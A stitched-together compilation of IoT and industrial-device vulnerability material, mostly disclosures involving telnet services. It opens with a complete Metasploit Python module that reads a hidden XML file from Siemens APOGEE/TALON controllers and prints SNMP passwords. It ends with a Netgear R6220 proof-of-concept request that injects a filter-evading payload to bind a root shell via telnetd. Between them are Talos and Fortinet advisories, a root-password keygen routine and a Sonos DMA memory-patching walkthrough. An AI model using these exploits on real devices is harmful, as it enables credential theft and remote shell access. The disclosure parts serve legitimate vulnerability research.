APOLOGEE is a Python script and Metasploit module that enumerates a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers and TALON TC BACnet Automation Controllers. With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to access hidden directories in the web server. All versions prior to 3.5 are affected.

    #!/usr/bin/env python3# -*- coding: utf-8 -*-# 2022-05-23# Standard Modulesfrom metasploit import module# Extra Dependenciesdependencies_missing = Falsetry:    import logging    import requests    import requests    import xmltodict    import xml.etree.ElementTree as ET    import socket    import struct    import requestsexcept ImportError:    dependencies_missing = True# Metasploit Metadatametadata = {    'name': 'Siemens BACnet Field Panel Path Traversal',    'description': '''        This module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.    ''',    'authors': [        'RoseSecurity',        ],    'date': '2022-05-23',    'license': 'MSF_LICENSE',    'references': [        {'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},        {'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},    ],    'type': 'single_scanner',    'options': {        'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},    }}def run(args):    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))    if dependencies_missing:        logging.error('Module dependency (requests) is missing, cannot continue')        return    try:      # Download Hidden XML File        r = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)          # Convert to Readable Format        xml_doc = r.content        root = ET.fromstring(xml_doc)          # Parse XML for Sensitive Data        module.log("Remote Site ID: " + root[18].text)        module.log("Building Level Network Name: " + root[26].text)        module.log("Site Name: " + root[27].text)        module.log("Hostname: " + root[28].text)        ip_addr = int(root[30].text, 16)        module.log("IP Address: " + socket.inet_ntoa(struct.pack(">L", ip_addr)))        gw_addr = int(root[32].text, 16)        gw_addr = str(socket.inet_ntoa(struct.pack(">L", gw_addr)))        module.log("Gateway IP Address: " + gw_addr[::-1])        module.log("Maximum Transmission Size: " + root[57].text)        module.log("BACnet Device Name: " + root[60].text)        module.log("BACnet UDP Port: " + root[62].text)        module.log("Device Location: " + root[63].text)        module.log("Device Description: " + root[64].text)        module.log("Device Barcode: " + root[88].text)        module.log("Device Revision String: " + root[104].text)        module.log("Device Firmware: " + root[105].text)        module.log("Panel Key Name: " + root[109].text)        module.log("SNMP Username: " + root[148].text)        module.log("SNMP Private Password: " + root[149].text)        module.log("SNMP Authorization Password: " + root[150].text)              # Determine Running Services        if int(root[48].text) == 1:            module.log("Telnet Enabled")        else:            module.log("Telnet Disabled")        if int(root[84].text) == 1:            module.log("Wireless Enabled")        else:            module.log("Wireless Disabled")        if int(root[103].text) == 3:            module.log("Webserver Enabled")        else:            module.log("Webserver Disabled")    except requests.exceptions.RequestException as e:        logging.error('{}'.format(e))        returnif __name__ == '__main__':    module.run(metadata, run)

Siemens APOGEE PXC / TALON TC Authentication Bypass

IP-COM EW9 V15.11.0.14(9732) allows unauthenticated attackers to access sensitive information via the checkLoginUser, ate, telnet, version, setDebugCfg, and boot interfaces.

Permalink

Cannot retrieve contributors at this time

**Brand**:IP-COM

**Firmware link**:https://www.ip-com.com.cn/product/download/EW9.html

**Vulnerability details**

There are multiple unauthorized access interfaces

**The details of attack**

The httpd service can be emulated using QEMU

Initializing and set password

You can then actively log out and accessing the above interface,Note that there are more than the two unauthorized interfaces mentioned above

CVE-2022-43366: IOT_Vulnerability_Discovery/4_information_disclosure.md at main · splashsc/IOT_Vulnerability_Discovery

This is just the latest set of vulnerabilities Talos has discovered in the InRouter302.

Thursday, October 27, 2022 11:10

_Francesco Benvenuto of Cisco Talos discovered these vulnerabilities._

Cisco Talos recently discovered several vulnerabilities in InHand Networks’ InRouter302 that could allow an attacker to access the router’s console and make changes to the router’s settings, including security protocols.

The InRouter is an industrial LTE router that includes remote management functionalities and several security protection mechanisms, such as VPN connections and a firewall.

This is just the latest set of vulnerabilities Talos has discovered in the InRouter302. We previously outlined how an attacker could string together several other since-patched security issues to gain root access to the device.

TALOS-2022-1523 (CVE-2022-25932) is actually an updated vulnerability for a new patch, as the previous security update to cover TALOS-2022-1472 and TALOS-2022-1474 was not effective.

Additionally, the router’s firmware contains leftover code in the debug feature. The InRouter302 offers telnet and SSHD services. When provided with the correct credentials, both will allow access to the router’s console. From the console, an attacker could manipulate several crucial security settings, including providing a specific command to manipulate the firmware signature verification flag and upload malicious firmware to the device.

These vulnerabilities are:

*   TALOS-2022-1518 (CVE-2022-29481)
*   TALOS-2022-1519 (CVE-2022-30543)
*   TALOS-2022-1520 (CVE-2022-26023)
*   TALOS-2022-1521 (CVE-2022-28689)

TALOS-2022-1522 (CVE-2022-29888) could be exploited if an attacker sends the device a specially crafted HTTP request. If exploited correctly, the adversary could gain the ability to delete arbitrary files on the device, potentially disrupting its operations or settings.

Cisco Talos worked with InHand Networks to ensure that these issues are resolved and an update is available for affected customers, all in adherence to Cisco’s vulnerability disclosure policy.

Users are encouraged to update these affected products as soon as possible: InHand Networks InRouter302, version 3.5.45. Talos tested and confirmed these versions of the router could be exploited by these vulnerabilities.

The following Snort rules will detect exploitation attempts against this vulnerability: 59152, 59153, 59882 – 59884 and 59886. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Vulnerability Spotlight: Vulnerabilities in InHand router could give attackers access to console, delete files

Usermin through 1.850 allows a remote authenticated user to execute OS commands via command injection in a filename for the GPG module.

CVE-2022-35132: Webmin

A hard-coded password vulnerability exists in the telnet functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9Z. Use of a hard-coded root password can lead to arbitrary command execution. An attacker can authenticate with hard-coded credentials to trigger this vulnerability.

**SUMMARY**

A hard-coded password vulnerability exists in the telnet functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9Z. Use of a hard-coded root password can lead to arbitrary command execution. An attacker can authenticate with hard-coded credentials to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9Z

**PRODUCT URLS**

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

**CVSSv3 SCORE**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-798 - Use of Hard-coded Credentials

**DETAILS**

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

Version 6.9Z of the iota firmware exposes a telnet service on TCP/55023. The password for the root user of each device is derived from the MAC address of the device. This derivation is easily repeatable and can be conducted off-device in order to recover the password of an arbitrary device.

The business-logic of password-derivation and updates to /etc/shadow occur within the /root/hpgw binary, in a function that we will refer to in this report as update_root_password. In version 6.9Z this is located at offset 0xA7BA0 and in 6.9X at offset 0xA7ADC. The actual calculation occurs within a function we will refer to in this report as keygen \[6.9Z: 0xA7A48, 6.9X: 0xA7984\].

    unsigned int __fastcall keygen(
        char *ciphertext,
        const char *mac_addr,
        int prefix,
        int postfix,
        int map_1,
        int map_2,
        int map_3,
        int map_4,
        int map_5,
        int map_6,
        int map_7,
        int map_8)
    {
        uint8_t sha256_result[32];
        char plaintext[64];
    
        vsnprintf_nullterm(plaintext, 0x3Fu, "%d%s%d", prefix, mac_addr, postfix);
        sha256(plaintext, 20, sha256_result, 0);
        ciphertext[0] = g_lookup_table[sha256_result[map_1] % 0x30u];
        ciphertext[1] = g_lookup_table[sha256_result[map_2] % 0x30u];
        ciphertext[2] = g_lookup_table[sha256_result[map_3] % 0x30u];
        ciphertext[3] = g_lookup_table[sha256_result[map_4] % 0x30u];
        ciphertext[4] = g_lookup_table[sha256_result[map_5] % 0x30u];
        ciphertext[5] = g_lookup_table[sha256_result[map_6] % 0x30u];
        ciphertext[6] = g_lookup_table[sha256_result[map_7] % 0x30u];
        ciphertext[7] = g_lookup_table[sha256_result[map_8] % 0x30u];
        ciphertext[8] = 0;
    }
    

The result of this calculation is stored in to the ciphertext variable, which the update_root_password function will use to calculate the md5crypt and update the /etc/shadow file contents with the modified password. This appears to occur once on every execution of the hpgw binary.

While this password generation functionality existed within version 6.9X, the telnet server had been disabled and the root password was not used anywhere else. With the release of 6.9Z, the telnet server has been re-enabled and this vulnerability became exploitable again.

Knowledge of the hard-coded prefix, postfix, map_#, and g_lookup_table values and the MAC address of the device is all it takes to calculate the root password for the device and successfully authenticate via telnet.

**TIMELINE**

2022-07-13 - Initial Vendor Contact  
2022-07-14 - Vendor Disclosure  
2022-10-20 - Public Release

Discovered by Matt Wiseman of Cisco Talos.

CVE-2022-29889: TALOS-2022-1569 || Cisco Talos Intelligence Group

On ORing net IAP-420(+) with FW version 2.0m a telnet server is enabled by default and cannot permanently be disabled. You can connect to the device with with hardcoded credentials and get an administrative shell. These credentials are reset to defaults with every reboot.

CVE-2022-3203

Some versions of Sonos One (1st and 2nd generation) allow partial or full memory access via attacker controlled hardware that can be attached to the Mini-PCI Express slot on the motherboard that hosts the WiFi card on the device.

**Introduction**

Sonos is a wireless home sound system, allowing multiroom music playing.

In 2020, we discovered a DMA (Direct Memory Access) vulnerability on Sonos Play speakers (1st gen and 2nd gen “One”). We worked with Sonos in order to address the security vulnerability and were credited on the Security Researcher Recognition page.

> We are aware that Synacktiv publicly disclosed the vulnerability on the Sonos One the 03/2021. After discussion with Sonos, they were not aware of this publication. We preferred to follow a responsible disclosure process.

**Vulnerability****Attack on Sonos Play 1 (First gen)**

We performed our first tests on the Sonos Play 1 speaker. Multiple papers are talking about some security issues on the web interface of Sonos.

However, we decided to take a look at the hardware part of the speakers to see if debugging interfaces were available.

After opening the Play 1 speaker, something immediately focused our attention: a _Mini PCI-Express (mPCIE)_ Wireless card.

We decided to perform a DMA Attack on the Sonos speaker using PCILeech and the PLX USB3380 development board in order to read the memory content.

_DMA Attack on Sonos Play Speaker_

A web interface was available on TCP port 1400, it can be used to get some information about the system, and outputs some command outputs (from the _brctl_ command) at the _status/showstp_ page.

We searched for strings in the pcileech dump matching _brctl_, and found _/usr/sbin/brctl showstp br0_. After some tests, we confirmed that this string is used by the _status/showstp_ page.

We came up with the following PCILeech signature that will replace the _brctl_ command with one of our choice:

*,2f7573722f7362696e2f627263746c2073686f7773747020627230,0,-,r0,2f62696e2f62757379626f7820756e616d65202d61000000000000

*   * means to search into each memory pages.
*   2f7573722f7362696e2f627263746c2073686f7773747020627230 is the /usr/sbin/brctl showstp br0 string hex-encoded.
*   0 and - means that we don’t have to look for another chunk.
*   r0 is the relative offset where the patch should be applied.
*   2f62696e2f62757379626f7820756e616d65202d61000000000000 is the patch that will replace the brctl command with the command of our choice (here, /bin/busybox uname -a).

With the signature file at hand, we just needed to run the following command pcileech patch -sig sonos_uname, and browse the _status/showstp_ page to gain arbitrary code execution.

_showstp page executing the command of our choice_

After browsing the filesystem content, we found a way to enable a debugging feature that will execute a telnetd process (as root) at startup. We then gained unrestricted access to the Sonos Play 1 first generation speaker system.

**Attack on Sonos Play One (Second gen)**

After our research on Sonos Play 1, Sonos released a new speaker: the Sonos Play One.

It features Amazon Alexa integration (so a microphone), and a brand-new ARM Architecture.

We bought it, and immediately opened it: the miniPCIe card was still here.

We ran the same attack that the first generation speaker, but it seems that additional protections were applied.

_DMA Attack on the Sonos One SL_

PCILeech isn’t able to dump the memory content. We tried multiple time, and we managed to dump only a few kilobyte of memory.

We analyzed the memory content, and discovered that it was a _U-Boot_ memory dump. We found some logs checking for the vendor ID of the MiniPCIe card. Maybe a protection in order to not change the PCIe card with another vendor, maybe a security feature.

**Spoofing the PCI Vendor ID**

When you plug a PCILeech patched PLX USB3380 card on the target computer, the USB3380 is recognized as a Memory Card Reader (PCI ID: 16BC14E4).

We looked at how the PCILeech PLX USB3380 firmware is made, and we found the following content in the usb3380_flash/linux/pcileech_flash.c file:

    static const unsigned char g_firmware_pcileech[] = {
       0x5a, 0x00, 0x2a, 0x00, 0x23, 0x10, 0x49, 0x38, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x14, 0xbc, 0x16,
       0xc8, 0x10, 0x02, 0x06, 0x04, 0x00, 0xd0, 0x10, 0x84, 0x06, 0x04, 0x00, 0xd8, 0x10, 0x86, 0x06,
       0x04, 0x00, 0xe0, 0x10, 0x88, 0x06, 0x04, 0x00, 0x21, 0x10, 0xd1, 0x18, 0x01, 0x90, 0x00, 0x00 };

If you search for the PCI Vendor ID _16BC14E4_, you can find it in the firmware code _0xe4, 0x14, 0xbc, 0x16_.

We modified some parts of the PCILeech flash program to flash the USB3380 card with the vendor ID of the Wireless card.

We plugged our patch USB3380 card on another Linux computer, and confirmed that the USB33800 card as the same vendor ID as the Sonos PCIe Wi-Fi card.

We tested the pcileech dump command against the Sonos One speaker, and we were now able to dump the memory content. We then performed the same attack as the first generation speakers, and gained root access on the device.

**Research Conclusion**

The Play One system was hardened against some attacks: the root filesystem is mounted as read-only, all other filesystems are mounted with the _nodev_ and _noexec_ options.

If you tried to perform a remount of a filesystem (for example remount / as read-write), the kernel will enforce it as \* nodev\* and _noexec_.

We didn’t have this behavior on the Sonos 1 (first gen) speaker.

Because our attack was performed on memory, we did not alter the filesystem content. We even managed to drop a _meterpreter shell_ by patching the memory.

Fixing the vulnerabilities may be difficult because hardware-specific protections must be enabled ( like System Memory Management Unit - SMMU for ARM units).

We would like to thank the Sonos Team for the excellent work they have done handling this vulnerability.

**Timeline (dd/mm/yyyy)**

*   03/01/2020: Initial contact with security@sonos.com
*   03/01/2020: Advisory sent to Sonos
*   07/01/2020: Reply from Sonos that they are currently investigating the issue
*   28/01/2020: Sonos informs us that they are close to a solution for the ARM architecture (NXP iMX6)
*   11/02/2020: Video meeting with the Sonos Security Team
*   19/02/2020: CVE-2020-9285 assigned by MITRE
*   20/02/2020: Sonos informs us that they have a working solution, but need more testing
*   Coronavirus Crisis
*   05/06/2020: Sonos send us a Sonos One SL for testing
*   05/08/2020: Exploit reproduced with Sonos One SL
*   06/08/2020: Sonos provide us custom tool and a custom firmware that should fix the security vulnerability
*   11/08/2020: The Sonos patch is working. However, we were able to dump memory during U-Boot initialization
*   12/08/2020: Sonos share technical patch details with us
*   14/08/2020: Sonos send us the source of the Kernel patch that fix the issue
*   19/08/2020: Sonos send us a new firmware fixing the U-Boot issue with the kernel patch
*   25/08/2020: We confirm that all the issues have been resolved
*   21/12/2020: Sonos inform us that the patch has a significant performance impact and can’t be incorporated into products that use the NXP iMX6 SoC
*   04/02/2021: Sonos ask us about disclosure plans
*   23/02/2021: Expected publication date sent to Sonos
*   29/07/2021: Article sent to Sonos for validation
*   02/08/2021: Sonos authorizes the publication of the article
*   09/08/2021: Disclosure by TNP IT Security

**Credits**

*   Nicolas Chatelain : nicolas.chatelain -at- tnpconsultants.com

CVE-2020-9285: [EN] Responsible Disclosure - Gaining root access on Sonos Play (1st gen and 2nd gen 'One') Speakers

An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerabilities [CWE-78] in SSH login components of FortiTester 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, 7.0.0 through 7.1.0 may allow an unauthenticated remote attacker to execute arbitrary command in the underlying shell.

** PSIRT Advisories**

**FortiTester - Unauthenticated command injection**

**Summary**

Multiple improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerabilities \[CWE-78\] in Console, Telnet, and SSH login components of FortiTester may allow an unauthenticated remote attacker to execute arbitrary command in the underlying shell.

**Affected Products**

FortiTester version 7.1.0  
FortiTester version 7.0.0  
FortiTester version 4.2.0  
FortiTester version 4.1.0 through 4.1.1  
FortiTester version 4.0.0  
FortiTester version 3.9.0 through 3.9.1  
FortiTester version 3.8.0  
FortiTester version 3.7.0 through 3.7.1  
FortiTester version 3.6.0  
FortiTester version 3.5.0 through 3.5.1  
FortiTester version 3.4.0  
FortiTester version 3.3.0 through 3.3.1  
FortiTester version 3.2.0  
FortiTester version 3.1.0  
FortiTester version 3.0.0  
FortiTester version 2.9.0  
FortiTester version 2.8.0  
FortiTester version 2.7.0  
FortiTester version 2.6.0  
FortiTester version 2.5.0  
FortiTester version 2.4.0 through 2.4.1  
FortiTester version 2.3.0

**Solutions**

Please upgrade to FortiTester version 7.2.0 or above  
Please upgrade to FortiTester version 7.1.1 or above  
Please upgrade to FortiTester version 4.2.1 or above  
Please upgrade to FortiTester version 3.9.2 or above

**Acknowledgement**

Internally discovered and reported by Wilfried Djettchou of Fortinet Product Security team.

CVE-2022-33874: Fortiguard

An improper restriction of excessive authentication attempts vulnerability [CWE-307] in FortiTester Telnet port 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, 7.0.0 through 7.1.0 may allow an unauthenticated attacker to guess the credentials of an admin user via a brute force attack.

** PSIRT Advisories**

**FortiTester - Missing account lockout on telnet port**

**Summary**

An improper restriction of excessive authentication attempts vulnerability \[CWE-307\] in FortiTester Telnet port may allow an unauthenticated attacker to guess the credentials of an admin user via a brute force attack.

**Affected Products**

FortiTester version 7.1.0 through 7.1.1  
FortiTester version 7.0.0  
FortiTester version 4.2.0 through 4.2.1  
FortiTester version 4.1.0 through 4.1.1  
FortiTester version 4.0.0  
FortiTester version 3.9.0 through 3.9.2  
FortiTester version 3.8.0  
FortiTester version 3.7.0 through 3.7.1  
FortiTester version 3.6.0  
FortiTester version 3.5.0 through 3.5.1  
FortiTester version 3.4.0  
FortiTester version 3.3.0 through 3.3.1  
FortiTester version 3.2.0  
FortiTester version 3.1.0  
FortiTester version 3.0.0  
FortiTester version 2.9.0  
FortiTester version 2.8.0  
FortiTester version 2.7.0  
FortiTester version 2.6.0  
FortiTester version 2.5.0  
FortiTester version 2.4.0 through 2.4.1  
FortiTester version 2.3.0

**Solutions**

Please upgrade to FortiTester version 7.2.0 or above  
Please upgrade to FortiTester version 7.1.1 or above  
Please upgrade to FortiTester version 4.2.1 or above  
Please upgrade to FortiTester version 3.9.2 or above

**Acknowledgement**

Internally discovered and reported by Wilfried Djettchou of Fortinet Product Security team.

CVE-2022-35846: Fortiguard

Netgear R6220 v1.1.0.114_1.0.1 suffers from Incorrect Access Control, resulting in a command injection vulnerability.

**Information**

**Vendor of the products:**    Netgear

**Reported by:**    Chengjian(cj775995648@gmail.com) & HuoXingpeng(huoxingpeng@outlook.com) & ShaLetian(ltsha@njupt.edu.cn)

**Affected products:**    Netgear r6220 <= v1.1.0.114\_1.0.1

**Firmware download address:** https://www.downloads.netgear.com/files/GDC/R6220/R6220-V1.1.0.114.zip

** Vulnerability Description**

The vulnerability is detected at /usr/sbin/setup.cgi

The vulnerability point is located at the following location in sub_1AF88

The v4 here receives the remote_passcode parameter, which is first filtered by the test_command_inject function. Although a lot of characters are filtered out here, we can still use & for splice injection. The /bin/sh check can also be bypassed by constructs like /$9bin/$9sh, and telnetd can also be bypassed by constructs like telne''td.

After passing the inspection, the remote_passcode parameter is obtained directly through nvram_set, and then obtained and assigned to v7 through nvram_get, and finally passed into the COMMAND function for splicing and execution without checking.

This bypasses the check and implements command injection.

**POC**

After logging in to the page, command injection can be achieved by capturing packets through burpsuite and sending the following request.

POST /setup.cgi??id=7c534ca23308d480 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 345
Origin: http://192.168.1.1
Authorization: Basic YWRtaW46QWRtaW4x
Connection: close
Referer: http://192.168.1.1/USB\_media.htm&todo=cfg\_init
Cookie: sessionid=sid16174xxx73678xxx1962923992x
Upgrade-Insecure-Requests: 1

media\_server=&itunes\_server=&config\_passcode=&media\_server\_name=ReadyDLNA&scan=0&h\_media\_server=enable&h\_itunes\_server=enable&remote\_passcode=%26telne%27%27td+-l+%2F%249bin%2F%249sh+-p+5214+-b+0.0.0.0%26&h\_scan=0&todo=iserver\_allow\_ctrl&this\_file=USB\_media.htm&next\_file=USB\_media.htm

**Get Shell**

First, port 5214 is closed, and we directly test the connection through nc.

Then use burpsuite to capture packets and modify parameters, and submit.

Connect again, and successfully connect the terminal through port 5214.

Tag

#telnet